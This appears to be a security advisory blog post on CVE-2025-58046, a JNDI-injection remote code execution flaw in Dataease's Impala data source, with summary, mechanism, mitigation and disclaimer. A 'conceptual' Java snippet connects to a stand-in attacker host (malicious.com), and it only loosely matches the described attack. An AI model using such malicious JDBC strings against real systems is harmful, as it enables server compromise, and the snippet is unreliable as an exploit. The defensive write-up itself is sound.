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CVE-2025-58046: Remote Code Execution Vulnerability in Dataease

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Overview

A severe vulnerability, labeled as CVE-2025-58046, has been discovered in the open-source data visualization and analysis platform, Dataease. This vulnerability has been found to affect versions up to and including 2.10.12. The exploit poses a significant risk to users because it allows for remote code execution, which could potentially lead to system compromise or data leakage. Given the wide usage of Dataease in the data analytics community, addressing this vulnerability is critical to ensuring the security of user data and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-58046
Severity: Critical (9.8/10 CVSS)
Attack Vector: Network-based
Privileges Required: None
User Interaction: None
Impact: System Compromise and Potential Data Leakage

Affected Products

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Product | Affected Versions

Dataease | Up to and including 2.10.12

How the Exploit Works

The vulnerability resides in the Impala data source of Dataease due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can exploit this flaw by constructing malicious JDBC connection strings that take advantage of JNDI injection, triggering RMI deserialization, and ultimately enabling remote command execution. The exploit is executed by editing the data source and supplying a crafted JDBC connection string that refers to a remote configuration file, leading to RMI-based deserialization attacks.

Conceptual Example Code

This is a conceptual code representation of how the vulnerability might be exploited. It involves providing a malicious JDBC connection string that references a remote configuration file:

import java.sql.*;
public class Exploit {
public static void main(String[] args) {
String url = "jdbc:impala://malicious.com:21050/default;auth=noSasl";
String driver = "com.cloudera.impala.jdbc41.Driver";
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url);
Statement stmt = con.createStatement();
String query = "SELECT * FROM malicious_code";
ResultSet rs = stmt.executeQuery(query);
rs.next();
} catch (Exception e) {
e.printStackTrace();
}
}
}

Please note that this example is intended to illustrate the concept of the exploit and should not be used in a real-world scenario.

Mitigation

The issue has been fixed in version 2.10.13 of Dataease. All users are advised to upgrade to this version or later as soon as possible. If immediate upgrade is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these measures can only detect and possibly block attempts at exploiting the vulnerability, and are not a substitute for patching the underlying issue.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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